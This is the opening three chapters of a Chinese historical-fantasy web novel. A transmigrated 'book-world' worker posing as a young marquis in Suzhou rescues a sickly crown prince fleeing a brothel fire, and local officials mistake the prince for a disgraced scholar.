《我的外室不可能是太子!》 1. 春夜精怪 爆竹送岁,新春伊始。 年关飘洒的几场细雪在三月吹来的暖风里已经消融成霏霏春雨,江南苏州最为繁华的青石板街上炮竹炸出的红纸皮子只零星四散在不惹眼的角落,街道两旁的店面十有八九早早开了张,等金色的阳光一洒,街心行人纷至沓来络绎不绝。 折扇微微挑开厚厚的车帘,江眠看见的就是这一派生机盎然的景象。 “小侯……咳,小少爷!前面就是苏州最大的酒楼,醉仙楼啦!” 站在帘外的少年声音清脆,头戴一顶赤红虎头帽,随着他激动地摇头晃脑,头上两个镶了雪白毛边的虎耳朵也一齐跟着摇摆。 啪。折扇一转梆地敲在那颗虎头上。 江眠:“叫‘少爷’,说多少次了,加上小字畏首畏尾的,听着一点都不大气。” “……少爷。”少年连忙双手捂住脑袋,眼珠子往边上一飞,用只有自己听得清的声音快速嘟囔道,“可您按排行分明就是江家最小的嘛……” “还顶嘴?”江眠手腕一转,扇尾再度作势高高扬起。 “哇啊啊,少爷!少爷!好少爷!” 承吉在车辕上这么一躲闪,扰得前方驾车的陈伯身子都跟着晃了晃,往后瞧了眼,笑呵呵提醒道:“小承吉你鼻子都冻红了还不进马车,小心风寒。” “可不是,才到江南要是就病了,后面躺床上哼哼唧唧,也不知道是他伺候少爷,还是少爷看顾他个不省心的。” 马车里另一位年岁稍大的少年抱着剑,冷声冷面道。 “好啦好啦,我这不是在替少爷看路吗,我进来就是。” “来,拿着暖暖手。”坐在最末的豆蔻少女将揣着的银丝手炉塞到了少年手里,“好歹也是府里出来的,承吉你别一副没见过世面的样子。” “都是第一次来江南,别说你们不好奇,谁信!” 前后三大辆马车一行骨碌碌来到醉仙楼前,陈伯下车便递了一锭银子给迎出来的小二,小二拿到手里掂了掂分量,再细瞧了马车一眼,赶紧唤出掌柜前来迎接贵客。 掌柜出门便见一伶俐少年,穿着厚厚的棉衣戴一顶圆滚滚的虎头帽,日光一照,虎头虎眼迸射出细碎的金银二色,竟是掺了金银绣线制成的冬帽。 后面紧跟另一仆从通身简练皂色袍衫,腰板笔挺,持长剑一柄,剑穗子上挂着一个金灿灿的小葫芦,成色好似实心的赤金,走动间下盘稳健,一打眼就是个练家子。 一位面若银盘的少女跟在其后,身形拢在厚厚的披风里,扎着兔耳朵一般的双垂髻,眼神灵动,髻间缠着五彩丝绦随风飘扬,两粒雪白的耳珰油润吸光,掌柜目光定了定,乃是上好的羊脂白玉。 “少爷。”如意对着马车唤了声。 只见她拨开厚厚的车帘,人未至,通身皮毛制成的大氅先露出一角,灿灿骄阳下深色的绒毛间泛出一抹紫,氅衣呈现出炫目的深紫褐色,衣带却虚虚系着,露出内里明艳的嫩鹅黄春衫。 “掌柜,要两间上好的包阁。”江眠扇柄一拍手心,笑道。 贵公子唇红齿白,笑起来观之可亲,春衫外层的素纱被风吹起一霎,在日光下翻出真丝的柔泽缎光,江眠看向酒楼,目光辗转间眼瞳清亮,双眸辉光竟是稳稳将周身的皮草丝光都压去了一头,气度纯然天成。 江眠一行人进酒楼不多久,醉仙楼门前又驶来两辆马车,车马通体玄黑。 马夫仆佣训练有素,走动间悄然无声。 又一间上等包阁定了出去。 “公子,都安排好了。” 仆佣靠近马车轻声道,须臾,黑色的车帘里伸出一只苍白的手,骨节分明,轻轻搭在仆佣的小臂上,白如纸的皮肤下青筋根根可见,丁点血色也无,宛如一块死玉。 前呼后拥一行人将这位公子围得严严实实,路过掌柜时,十几人走动的寂静骇了掌柜一大跳,从背后望去,人影幢幢间,只能瞧见那位公子披着的貂衣隐隐泛着幽蓝。 豁,掌柜摸了摸头,前面那位穿了身紫貂大氅,后面这又是银蓝雪貂制成的披风。 真不知今天是什么日子,来的都是显贵。 * “却说那陈国皇后久无所出,日日焚香祷告,祈求神灵能赐下一子,绵延国祚。如此虔诚两年间不歇,终是有孕,六月后,太医院诊出是个男胎,时陈王大喜,于宫中设宴同欢,于民轻赋税免徭役……” “奈何天不遂人意,妊八月,陈后误食相克之物,九月分娩,历时两天两夜方产下太子,婴孩出生全身乌青,太医皆言此子活不过弱冠,噫吁嚱,可悲可叹!” “今天我们要讲的,便是这位陈太子的陪读,张生!” 一记醒木拍案,酒楼正中的说书先生眉飞色舞。 江眠倚在三楼包阁内,懒懒往下看去,奇道:“这说的是劳什子陈国?我怎么听着,说的就是我们大燕?苏州仗着天高皇帝远,民风这么……心直口快的么?” 奈何最活络的承吉已经跑出去打探消息,闷葫芦成祥不发一言,婢子如意是他娘亲自教导的,此刻听着议论宫闱之言更是一脸的讳莫如深。 江眠的折扇百无聊赖地往栏杆上敲了敲。 他倒不是惊讶这些宫廷秘闻能被说书先生宣之于口,他惊讶地是,明明夺嫡的主线严格来说还没在这个世界展开,他都跑到江南来度假了,却还是避不开局势的暗流涌动。 没错,江眠本不是这个世界的人。 他是穿书局资深老员工,百年苦牛马,地府社保优秀缴纳者,编号0113员工江眠。 他快要退休了,而这是他退休前的最后一个任务。 局里早就传言退休任务难度不同寻常,引咎辞职的员工大把大把,江眠刚来,就感觉到了不一样,他穿早了半年,系统任务线还未开启的同时,后台权限竟然解锁了大半。 于是……江眠当然是给自己捏了个好身份,然后开始吃吃喝喝度个长假咯。 “少爷,少爷。”门吱呀一声推开,承吉带着一手的消息回来了。 陈国确实是映射的大燕。 张生对应章生。 “章大人犯了帝怒,早斩首了,章家抄家,女眷们通通选择了自缢,独独剩了这个在外求学的章少爷,早年还给太子当过伴读,处置前据说都在准备科考了,可惜,眼下没入教坊了。” 承吉双手一摊,“坊间传言伎楼调教好快让他待客了,这故事也就前几天才开始讲起来,当是宣传,抬他身价用的。” 江眠往下又看了眼,果然说书先生讲完张生貌比潘安,又转而夸赞起他文采斐然,音律独绝,谈得好一手五弦古琴,早年还被宫中贵人夸赞过。 “别的且不论,我怎么记得大燕律法明文规定,抄家的官员是家眷女子没入教坊,男子流徙边境。”江眠扇骨敲了敲桌子,“他一介男儿,没入教坊算怎么个事?” 承吉成祥如意三脸相觑,纷纷感受到了事情里的一丝猫腻。 江眠看着系统刚搜出来的人物简介:“再者,我还记得先皇后恰恰喜欢的就是五弦古琴,我记错了?” 如意:“没错,公……咳,夫人同我说过数次,皇后喜爱并弹得一手好古琴。” 有点意思。 江眠眼珠子滴溜一转,鬼点子生成:“走,今晚我们就去伎楼瞧瞧!” 江眠的阁子里聊得热火朝天,他右侧的阁子却是截然相反的死寂。 楼下说书先生的声音越高昂,侍立在公子身侧的仆从却是后背越发地汗流津津。 眼见扯到了古琴之上,仆从咬牙:“刁民无状,不若让奴前去……” 那惨白的手抬起拂了拂,仆从霎时熄声。 “不要做多的事。”阁子里暖炉烧得火旺,却仍旧披着貂裘的公子开了口,声音也带着病态的喑哑。 合着楼下热烈高昂的说书声、大堂看客欢呼喝彩的抚掌声,阁子里只有碗筷轻碰的铮铮冷鸣,除了跳跃的炉火,所有人都好似蒙上了一层默剧般旧扑扑的灰。 * 大燕教坊设立并不悠久,前朝才堪堪将相应的规章制度臻于完善,内里罪臣家眷只占少少一部分,更多的是自小选中好生培养的苗子,各地炙手可热的大家名伎,排得上号的那些还未听说谁出身于罪臣家眷的。 朝堂律法禁止狎伎。 但达官显贵往来教坊,名伎又多月貌花容,实际上如何,却也难说。 江眠饶有趣味地去,却叫扫了个大兴。 一路开价到五百金想提前见见人,硬是给拒了,翻来覆去就一句话,还未到章生登台之日,教坊规矩,未登台的伎人概不见外客。 成祥将府中令牌都摸了出来,却被江眠按住了。 “算了,不强求。” 江眠拉了拉后台,见系统任务还是未开启,害怕硬来干扰到主线,索性丢下银钱拂袖离去,转道苏州河岸赏味江南风情。 河道里泊着画舫花船,船中飘出琵琶琴瑟乐音铮铮,两岸摊贩如织,悬挂灯火如昼,一路走来,承吉如意手上嘴里就没空过,成祥又将一盏如意买下的花灯送到马车里,回来便被塞了张花鸟糖画,小婢如意看着他讨好地笑。 成祥:“我不吃。” 江眠伸出手摇了摇食指,“她的意思是,你给她拿着,她等会儿吃。” 如意:“哪有,分明就是给成祥的。当然,如果他不吃,我也可以代劳,嘻。” 摇头晃脑的,满头丝绦也跟着在空中欢快地跃动。 承吉咽下一口雪山楂,忙忙跟话:“我也可以代劳。” 成祥:“……” 江眠哈哈大笑,坏心建议道:“成祥不若去问问陈伯吃不吃,万一呢?” “喏。”成祥转身就要走,如意承吉手忙脚乱四只手赶紧将人拉拽住,一个不留神,被江眠拿过糖画,对着就咬下一口,主仆几人霎时笑闹成一团。 “怎么没遮起来?” 走出繁华地段,马车跟紧了四人,江眠回看一眼,指着车身上篆刻的图徽发问。 “苏州不宵禁,怕路上不太平,出门的时候便 扯开了。”成祥回道。 江眠看了眼他不离身的剑,点了点头。成祥素来周全。 “呀!”如意忽的对着远处一指,“走水了!” 火光在夜色下刚冒了个头,但他们都能看见,必然火势不小。 成祥细辨了下方位,肯定道:“是教坊伎楼的方向。” 话落,一阵凌乱的马蹄声疾驰声踏响,从河岸一侧黑黝黝的小巷里传出,听起来还很远,但很急。 江眠下意识往后看了眼,苏州河粼粼的波光如缎一样静谧流淌,百步外人头攒动。 闹市纵马? 小巷深处,马背上的宴知行胸膛大起大伏,再咽下一口腥甜气息,集中精力控马,奔着光亮的方向冲去。 夜风如刀,已经刮得他意识混乱,眼前出现了大块的模糊。 “太子殿下您乃千金之躯,病体未愈,怎禁得起如此奔劳?” “恳请殿下千万爱惜自己。” 心神一晃,眼前一时间是暗巷看不见头的黑,一时间又是临行苏州前呼啦啦跪了满殿的内官,伏地痛哭祈求。 他脑子有些不清醒了。身上无一处不在作痛。 错了吗? 抬眼看了下头顶那短短一截的红线,宴知行猛的重重一摇头,再度催马。 他死不到这里。 决定没错。 一个定神,转眼骏马已冲至巷口,宴知行看到了尽头有人。 竭力辨了辨,一根长红线,两根,三根……嗯?三根红线,四个人? 宴知行愣了下,以为自己眼花,看了又看,最近的那人头上却空空如也,什么都没有,怎会?他从未见过没有命线之人! 思绪一时混乱,转瞬到了近前,马前冲之势不减,宴知行想喊让开,嗓子却被却什么堵住,只来得及徒劳地猛拽缰绳。 眼前那头顶上光秃秃的人却避也不避,一个近身上前,身后人惊呼:“少爷小心!” 神奇的,他手一搭上马身,疯跑的马像是撞在一座山岳之上,瞬间就僵住了去势,马蹄一扬,竟又稳稳在原地落下。 什么鬼? 纵然宴知行马术不精,但也知这一幕奇诡无比,绝不是常人能办到。 随着马被止住去势,宴知行心神一松,却不料马长鸣一声后蹄子再度扬起,将他往身下甩去,宴知行伸手抓缰绳,却抓了个空,心头登时一凉。 视角换到马下的江眠眼里,一切远没有宴知行感受中的那般惊险。 他看见有人骑马冲了出来,没有减速,预估了下距离,就打开系统辅助他停马了。 马是被硬控住了。 但上面的人却被甩了下来。 江眠只得伸手去接。 在暗巷中和夜色融为一体的马现出了真身,马背上的人,也从黑暗跌向了光明。 一身黑色的貂裘披风裹着人,彷佛还舍不得那藏身的黑。 在扑面的春风里,那张脸终于在空中光亮处现了形。 是一张苍白削瘦的脸,被黑袍衬着,白得一丝血色也无,嘴唇都是极淡的粉色。 但双眉却浓,斜飞如裁,瞳仁也是墨般的稠酽,沉沉地点在那张脸上,好似一幅素雅水墨将将化成了人形,在这料峭的春夜遮遮掩掩择人而食。 病态。诡谲。 却有一种别样的好看。 比人先到的,是气味。 先是一阵难压的苦涩,然后混着雅致幽微的香气,扑到了江眠身上。 好轻,真像是话本里的姣美精怪了。 近了,那混杂的气息更甚,等江眠将人扶稳站住,脱口便道:“你好香。” 放肆! 宴知行眼神一厉,刚要申斥,哇一口血吐出,正正吐在江眠的鹅黄春衫之上。 江眠:“……” 宴知行嘴唇又动了动,看着那一滩炫目的红色,晃了晃,眼皮一闭,直直往前倒去。 “哎哎哎。”江眠赶紧将人扶住。 不是错觉,这人真的好轻。 “承吉,这人晕了,你快来看看……” 话没说完,又一阵马蹄翻滚响起,一队人黑衣配刀,口中高呼:“奉苏州府尹之命,现缉拿教坊司纵火逃离乐工归案,闲人速速避让。” 对着他们一行人竟是连马都不勒,直直冲来。 “放肆!”成祥振声高呵,一个纵身越了出去,雪亮长剑出窍,银光闪烁,马匹哀嚎嘶鸣,领头官差也被成祥踹到了地上,滚了数圈停在江眠眼前。 “你们是谁?” 后面的官差被逼停下马,点燃熊熊火把,高声质问。 江眠将人交给承吉,振了振衣袖,肃容道:“安国长公主府车架,何人惊扰?” 领头的七荤八素刚坐起身,兜头就是这么一句,使劲眨了眨眼,上好貂裘制成的大氅衣摆油光水滑,雪亮亮明晃晃杵在眼前,眼皮一抬,马车在身后火光映照下,车身上一个由金银二色绘制而成,代表大燕皇室的太阳鸾鸟图徽泛出奔腾辉煌的金玉之色。 2. 重风寒 领头的官差硬撑着站起身,眼睛被那金玉辉煌的图徽闪得生疼,站直换了口气抱刀作揖道:“在下苏州府府衙捕头王虎,今奉府尹之命,率众人缉拿教坊司纵火嫌犯,乐籍乐工章怀闵。”话顿了顿,声气高了几分,“不知贵人在此,多有冒犯,念在我等捉贼心切,还望贵人勿怪。” 江眠静静看着王虎与他身后的一众官差,熊熊火光将他外披的氅衣照出深紫色的煊赫,他不嗔不怒,白皙脸孔上如描如绘的眼眉却无半分善意。 就在王虎作揖之际,一群也不知道从哪里冒出来的人,各个黑袍佩剑,脚步训练有素地将江眠几人围成了一个保护性的半圆,一经站定,齐齐弓步踏出,低喝一声,拔出一截剑身,那齐刷刷的雪白剑光偎到江眠身边,淬出皇室权柄通天的赫赫威仪。 王虎在这种沉默久恒的目光下,感受到了如山岳般的压力。 一阵夜风吹过,竟是打了个冷颤。 “勿怪?” 江眠如品咂一般细细咀嚼这二字,转头看向了婢子如意。 如意对着他敛衽一礼,走出一步振衣,张口便斥道:“放肆。安国长公主车仪在此,昔威远大将军与公主嫡子,今上亲封威远侯亦在此,既见公主车仪与侯爷,缘何不跪?” “既知冒犯,闹市纵马,惊扰车架在前;巧言令色,言行无状在后。我公主府与北疆众将士竟不知,苏州一届鱼米之乡,尔等斗食小吏岂敢心存反意焉?” 伶牙俐齿字字珠玑,一个字一个字压垮了王虎的脊梁,几乎是如意斥完的同时,王虎高呼着“小人不敢”“贵人赎罪”扑通一声跪了下去,领头的一跪,身后的队伍再不成气候,齐刷刷跟着呼喊着跪了一片。 江眠脸色稍霁。 这就是身份捏得好的好处了。 “少爷,哦不,侯爷,小侯爷。”承吉慌张跑来,凑近江眠耳边嘀咕了几句,江眠拧了拧眉,见场面全然可控,示意如意一眼,转身跟着承吉上了马车。 那个他交给承吉的精怪,哦不,公子也早已被挪到了马车上。 漆黑的貂裘裹着,躺在马车上只露出一张苍白至极的脸,眼睛一闭,整张脸上唯一一处浓墨重彩的地方也消失了,只剩下那如雪一般仿佛随时都能消融的惨色。 承吉握住他手腕处经脉,细细叩听,“脉象极慢无力,现又时隐时现,此乃阴阳离决,精气将断之前兆。” 啊? 承吉恭敬俯首,“此人被外间州府官差追捕,若小侯爷不愿多事,趁着生机未断,须得即刻移交撇清干系。若小侯爷愿施以援手,须取用老山参一片口含,吊着性命回府交由老太医细诊。” 嘶。 江眠不由又看向那公子。 马车内烛光摇曳,憧憧暗影于车壁上投下交叠闪烁的灰,在那张无有人色的脸孔旁摇摆,好似下一刻就会将人吞噬下腹,拆吃干净。 “小侯爷。”车帘被撩开,成祥走了进来,拱手同江眠道,“有一事容禀,据外间官差口述,此人乃章怀闵。” 见江眠同承吉脸上双双露出茫然之色,成祥补充道:“正是今日醉仙楼那说书先生口中的张生,还有您今晚在伎楼点名要见之人。” 噢,是他。 承吉转身去掀那人披风,“内着玄色深衣,腰坠白玉一块,手腕上戴着一串辟邪朱砂。”翻开左手细看,“指腹处有常年揉弦留下的琴茧。” 成祥:“深衣自前朝起便被誉为善衣,向来受清流士子们喜爱。” 倒是都对得上。 江眠按了按额角感到一阵棘手。 最后,还是遇事不决问系统,江眠调了下这人的剧情关联度。 本不稳定的系统在加载中还闪了两次马赛克,时间一分一秒流逝,在仆佣少年们静候听令中,后台缓缓抽出0.03%的数据,闪烁了两下,前面又加了个小于号,<0.03%。 什么天选路人甲。 行, 他捞了。 都撞他身上了不是。 “拿山参,打道回府吧。” 承吉:“喏。” 成祥:“那外间的官差……” 江眠手指转了圈折扇,眯眼笑道,“好打发。” 人交由承吉,江眠带着成祥下了马车,州府官差已经站起了身,如意同领头的说着话,她身旁的家将手中正捧着路引与公主府令牌,想来已经由差吏验过了真伪,他一走近,王虎便单膝下跪见礼道:“小的见过威远侯,方才是我等有眼不识泰山,还望小侯爷见谅。” 刷啦啦身后人又跪了下去。 倒是上道。 江眠抬了抬手。 如意对他盈盈施以一礼,禀报了方才双方交谈的详情。 官差服软拜过宗室,又验明了路引令牌,话题自然扯到了核心诉求,缉拿嫌犯上。 江眠扇骨一点天际,“现在伎楼火还烧着,”天边比方才还火红几分,“可见纵火发生不久,这么快便断定了嫌犯,人证物证已是俱全?” “……伎楼内有人证,物证还待一一清查。” “如何证明你们追的人便是章怀闵,可有画像?” 王虎口中发苦,却不得不恭敬答道:“一个时辰前教坊着人前来报案,我等赶到伎楼便见一拨人骑着马不顾阻拦往外冲闯,出了伎楼又分为两路,其中一路便是此贼。” 江眠:“分为两路?所以,你们也不知道他是也不是章怀闵?” “……小侯爷将此贼交予我等,带回伎楼让伶人一辨便知。再者不论此人是否为章怀闵,行迹鬼祟,如何都与今夜大火脱不得干系,须得好生审问。” 王虎深深躬身下拜,“教坊司往来贵人众多,此案州府府尹震怒,还望侯爷通融。” “好啊。”江眠竟是一口答应,语气轻快。 王虎心下一松,刚要差人缉拿贼子,又见江眠笑容一敛,“不过有个前提。” 江眠拉开松松披着的大氅衣襟,鹅黄春衫上突现一片微微凝固的暗红色血渍,在单衣衫袍上极为刺眼。 “这人污了我衣袍,如意。” 如意会意:“此身蚕丝单衣为去岁御赐的贡品所制,一匹只制了这么一身外衫,市面流通的上好湖丝一匹可贵达七十金,贡品暂按百金计。内里鹅黄春衫为蜀地罗绮所制……再加外披的这一身紫貂大氅不知有无受损,这可是公主搜集了好几年才堪堪凑齐的紫貂裘皮……这一身零零总总。” 如意想了下,伸出三根嫩白的手指,“想带走人,就要你们三千金作赔,免得你们说我公主府仗势欺人,不过分吧?” 三千金…… 州府捕头一年的俸银拢共才四十六两。 王虎两眼发直,“小人不过一届差吏,如何……” 江眠面色一冷:“你既做不了主,那便禀告你们府尹大人,看他如何分说?再者你们既认定了他是教坊中人,教坊日进斗金,叫教坊拿钱来赎也不是不行。” “可、可是……” “冲撞车架又坏我御赐衣袍 ,不带回府教训教训,如何我都咽不下这口气。放心,折腾死了尸身我会着人送去州府,既已是纵火嫌犯,横竖不过是个死字,我出完气,自会叫你们也好交差。” 王虎瞠目。 半晌挤出一句,“可我等收到的命令是活捉……” “行了。”江眠满脸的不耐,招手,“成祥,你带着路引令牌并一队人跟着回州府,同府尹大人禀明详情。” 江眠想到什么,看着王虎一干人,扇骨拍了拍手心又道,“对了,你顺便问问府尹大人,闹市纵马怎么说?若他有所处置便罢,若他包庇,便按冲撞宗室,一人笞十鞭,由你看着惩处完再回。” “是,侯爷。” 吩咐完江眠再也不看一众差吏,径直带着婢子上了马车。 马夫御马,高头大马扬了扬蹄子打几个响鼻,车轮缓缓转动,直到那华贵马车在视线里已经驶出一小段路,代表皇室的图徽还遥遥折射出金银辉光,扎得原处僵立的王虎眼睛干疼,再也没说出一句话来。 * 回了在苏州落脚的府邸,又是一阵人仰马翻,早已歇下的老太医从被子里生生被挖了出来,带着药箱与童子前往主院问诊。 诊治期间,承吉年少力气还没长起来,病人的挪动都是江眠来的,搬动着实在是轻,多几次,他手脚都放得特别缓,生怕把这人碰坏了。 “此人之前应是感染过风寒,还未彻底好透,又于马上奔命,气血两亏,急火攻心下才吐了血,倒不碍事。但眼下脉象太过孱弱,别的老夫暂且还把不准,先施针稳定病情吧。”万太医诊了足足有一刻钟,如此说道。 承吉给人脱衣,江眠下意识侧了侧眼睛,别开后又一愣,他躲什么? 转正脸,人已经被翻了过去,素白的中衣并裲裆一齐褪到了腰间,随着呼吸,嵌在后背的脊骨节节突出且清晰,两片肩胛起伏间像是振翅的蝶,好瘦,光看着都咯得人眼睛疼。 “嗯?”承吉拨了拨他如墨般乌黑的长发,露出修长的脖颈,显出肩上侧密密麻麻的施针痕迹,针脚密集处,皮肤都呈现出一种淤青的脆弱底色。 万太医:“是对症的施针痕迹,扎在此处,看来他的风寒还不轻。” 言罢便开始下针,童子与承吉配合。 需要搬动的时候换江眠来,这人的皮肤也很凉,凑近了,那种苦涩混合着素雅的香气又往他鼻息里钻,缭绕不去。 江眠抬着他手腕方便万太医下针,青色的血管在皮肤下呈现出一种诡异的剔透,不小的身高骨量塞进这副皮囊里,让本不丰腴的体态显得越发形销骨立,真是可怜。 一套针行完,万太医擦着汗告辞。 江眠送人到门口,再折回客房,承吉已经贴心地给人盖好被子,绞了帕子擦拭清理出汗的皮肤,江眠看了会儿,牵起了近处的左手,指节修长,甲盖修剪得整齐圆润,翻过来,指腹处确乎留有厚厚的琴茧,就是没什么肉,手也消瘦得紧。 承吉收拾好,江眠轻手轻脚将那人左手塞回了被子里。 站起身又看一眼那静默苍白的脸孔,吩咐了几句,领着承吉离开。 日升又日落,万太医日日都准时准点过来行针,医治完便有仆佣接手擦身,收拾。 因着不习惯江南的阴冷,这处宅子在修建时便带了地龙,病人体凉,这两日客房的地龙更是烧得火旺,承吉来看过几次,稍稍多待片刻便感觉背心都在冒汗。 如此昏睡整整两天,宴知行眼睫才跳了跳,悠悠转醒。 3. 错位 眼眶带着一种迟钝的涩意,重重眨了几眨,朦胧的视野方渐渐得以清晰。 先映入眼帘的是杏色的床幔。 十分娇嫩鲜妍的色调,是他宫里绝对不会出现的。 眼珠转动,束起床幔的穗子五彩缤纷,哪怕只是静静缀在床尾,但也透出一股子无法束缚的跳脱无拘来。 这让宴知行想到了自己撞上的那个人。 那个头顶上空空如也,没有命线的怪人。 其实也只见了一眼。 但印象颇深。 那也是一个打眼便觉得灵动无匹的少年。 紫貂大氅松松披在身上,内着一件鹅黄春衫,镏金的头冠上嵌了颜色不一的细碎宝石,通身金玉之气,偏生了一张笑脸,对他张开手臂的时候,一双眼睛盈盈生光,将头冠上的宝石都压下去几分颜色。 上好的皮囊,开口却露了轻佻。 他好像……吐了口血在对方身上。 想到此处,记忆如潮水般涛涛而来,悉数回笼。 宴知行拧了拧眉,慢慢捋顺了晕迷前的情形。 动了下手脚,从骨头缝里钻出一阵阵的酸疼难耐,于他却已是家常便饭,缓缓撑坐起身,检查了下中衣内衫,还是福安给他换上的那套,被子不厚,但满室温暖的感觉是到苏州后便久违的舒适。 “崔九?”宴知行试探着唤了一声,嗓音撕扯干哑。 “公子。” 房顶上瞬间飘下一黑衣覆面人,对着他便跪下。 他的暗卫跟来了。 宴知行顿时松了口气。 还好,看来事情还没有完全地脱离控制。 “属下来迟,万死难辞,请公子惩处。” “当日公子马匹被飞箭惊扰,激得跑岔了路,我等只得绕道前方接应……久侯不至,等领着人往回查看,便见到了威远侯一行人……” 在崔九的帮助下,宴知行换了个舒服的姿势靠坐床头,手中捧了杯温水缓缓啜饮,听着伏跪下方的暗卫首领将那日后续一一道来。 “此宅邸家将全是公主府与北疆江家调教的精卫,害怕打草惊蛇,我等潜入之时,府中老大夫已经为公子行过一道针,兹事体大,后半夜不得不带着善医的福安前来确认公子身体状况。” 宴知行听音知意:“那大夫有来头?” “由福安及多方打探确认,是早年告老还乡的太医院院正万鹤,其万氏针法被誉为天下第一针,现今太医院中亦有万氏族人任职。” 宴知行有了些印象。 他身体长年累月地病着,每每昏睡不起滴水不进的时候,就会有太医院的大夫前来施针,其中一位姓万的太医针法很是精湛。 崔九:“当夜我等未能将公子唤醒,福安又害怕深夜贸然将公子带离,再致寒湿入体,一而再再而三地加重久治不愈的风寒,几番商讨下,便暂定将公子留于此处医治,府内府外安插上我们的暗卫,守候公子醒来。” 宴知行神情淡淡,对麾下的自作主张不置可否。 苍白的手指按了按颞骨前关,将将醒来,脑子还是一阵阵的昏沉,不甚清醒,也不大舒服。 但他身体一贯如此,总是伴着这里或那里的病痛,要是有哪天通体舒泰,才是罕见。 威远侯。北疆江家。安国长公主。 吹了吹水面,宴知行心中盘算着。 此行竟是牵扯到了完全没想过的局外之人。 安国长公主薛自怡,为北疆薛家遗孤,薛家满门忠烈为国捐躯后,由先帝先后收为义女接入宫中亲自教养,同今上一齐长大,姐弟自幼时便感情甚笃。薛江两家早年定过娃娃亲,长公主及笄后仍愿尊先父母之命履行婚约,先帝后便将其许配给江国公长子,因不舍在宫中很留了几年才出嫁,婚后夫妻举案齐眉、琴瑟调和,一时间被传为佳话。 可惜好景不长,驸马几年后战死沙场,今上感念其戍守边关有功,追封为威远侯。 长公主新寡时还年轻,今上还欲另公主改嫁,为其再择良婿,却被长公主上书严词相拒,后长公主出离江家,长居公主府至今。 宴知行又按了按额角,迟疑道:“长公主与威远侯有后?” 奇怪,他怎么不记得有? “育有一子名为江眠,及冠时还被陛下亲诏进宫承爵。” “什么时候?” 崔九:“两年前春初,正逢公子卧病之时。” “他还会挑时候。” “……”崔九额头深深抵在地砖上,恭敬伏首。 脑海中翻捡了数遍有关安国长公主的讯息,确实不记得有关她子息的只言片语,但他出生的时候,长公主早已离宫多年,加之公主素来深居简出,与江家共同进退,宫里有关长公主府单独的消息几近于无。 不过宗室子弟向来枝叶繁茂,也不是每一个他都清楚。 长公主之子,江国公幼孙,那一手出神入化的驯马术倒是解释得通了。 “是哪个字?” 崔九:“江国公的江,眠寐之眠。我听此间下人日常唤一声小侯爷。” “春初加冠,‘春眠不觉晓’。”宴知行指尖点了点杯壁,“意趣天成,看来公主希望他做个富贵闲人。” “长公主与江家确乎殊为宠爱此子。”崔九道,“这几日打探下来,此行乃小侯爷听人讲述江南风景后的临时起意,年关一过便从北疆动身前来。” 江薛两家世代戍边,拱卫边防,长公主亦从不干政,皆为大燕之纯臣,倒是不必忧心他们与章怀闵一事有所牵扯。 “对了,逸兴如何了?” 章怀闵,字逸兴。 崔九:“不大好。背部与腿部鞭痕有数处已化脓,都伤在看不见的地方,人也瘦得厉害,福安处理后说数日内都得趴卧休养,无法远行。” 原本的计划是接到章怀闵后立刻将他送往都城。 “化脓?”宴知行捏杯子的手指紧了紧,甲盖因着发力呈现出一种骇人的青白,“伤势都不处理,马上又要登台,教坊压根没想过让他接客,只准备这样慢慢磋磨死他。” 崔九:“教坊内,接手管教过章少爷的人全伪造成因火灾丧命,已经全部处理干净,不过也因此,再没有能清楚辨识章少爷的伎人,所以,一来二去的……” 崔九额头紧紧贴着地面,深吸一口气道:“小侯爷与州府差吏,还有教坊来人,眼下都将公子误认为章少爷。” “?”宴知行双眼微微睁大。 崔九深跪着大气都不敢喘,整个人近乎于与地面融为一体。 “无凭无据的……”刚开口,宴知行忽然想到了什么,往衣角摸去,外衣已褪,自然伸手摸了个空。 崔九起身膝行至宴知行床畔,从枕边捧起一枚白玉腰坠,双手奉上。 是了,这枚平安扣。 原是早年章怀闵作他伴读时的御赐之物,在教坊见了面后怀闵已然生意全无,只双手奉上这枚玉坠,愿他身体康健,并请求自己杀了他,将事情全部结束于此。 他收了玉,却不准他死。 接过,翻看间宴知行又觑见了自己左手上的琴茧。 五弦古琴,还是东宫老师一齐教授他几人的。 细细论来,当年能选中章怀闵作他的伴读,不仅是生辰上有说法,章怀闵的母亲与他的还出自同宗,只不过是大族旁支,不为外人所知而已。 如此……他出行时又刻意去了所有能彰显身份的物件…… 宴知看了又看那玉扣,忽而一仰首,轻笑出声,缓缓吐出两个字: “……有趣。” * 将打探到的消息尽述,崔九回了梁上,宴知行摇铃唤人。 他不舒服,不在乎谁来伺候,只管提自己的要求。 换了身衣服又进了点粥,老太医过来看了一趟,把过脉行了针,只叮嘱他好好休息,又开了方子让下人熬药。 宴知行难受着,不想一醒来便灌药,三碗都让崔九喝了。 晚间看杂书的时候,府内一个婢子又来了一趟,据崔九说是江眠的随身侍婢,想来是替他瞧自己的。 吃着自己人配的药丸,宴知行第三天才缓过劲儿来,有了些余力深思。 放火又处理掉教坊的人,本是为引出幕后之人,不过这个打算因着公主府和江家的半路杀出,各方暂时都没有异动。而教坊内差吏的调查,据崔久说,江眠派了一武功高强的随从带着家将盯着一齐跟进,他的暗卫手脚又干净,原本很多能栽给章怀闵的 罪行便受了阻,迟迟定不下罪。 但城门各处仍旧加强了防卫,防着人逃,州府府尹绝不会一点不知情。 江眠将他带回府,州府后续自然又来要过人,被江眠以他在府里插翅难飞,先定罪再说交人为由推掉了。教坊也派人来要过,江眠一口气开价到五千金,那件他吐了血的衣服都还留着,生生将人气走了。 想到此处宴知行笑了笑,为了件衣服竟说要将他带回教训,也是大胆。 不过初见就能说出那种话,显然也不是什么克己复礼之人。 州府同教坊肯定不会就此善罢甘休,但章怀闵也需要时间休养,背后的人……按了按额角,宴知行决定先等江眠来见自己,看看是个什么样人再作打算。 想得没问题,州府同教坊也再度登门了一次。 但一次都没见到宴知行。 同时,江眠也没来。 好似忘了捡了他这人似的。 “所以他都在干些什么?”身体都等得又好了些,宴知行问崔九道。 崔九一五一十禀报:“最初去了周边踏春,并在附近庄子上小住了两日,回苏州后白日里去知名的酒楼觅食,晚间去听了场昆曲,赏了不少银钱……今日上午在府内歇息,午后带着婢子去了银楼,买了不少头面首饰,傍晚就装了车,瞧起来都是要驱车送回公主府的。” “……” 宴知行差点没听笑。 行,对方不急,他也且养着,本来这病就该好好将养断根。 翌日江眠又去看了斗茶,晚间包了画舫游湖……转眼四天,教坊内的查案官差都已撤离,无法认定章怀闵为纵火人,脱了罪责,但章怀闵毕竟是乐籍,想来下一步应该要商讨他的去处了。乐的是,江眠不来见他,教坊来人也找不到对方。 宴知行被这小纨绔吊得彻底歇了心,白日无事开始练起字来。 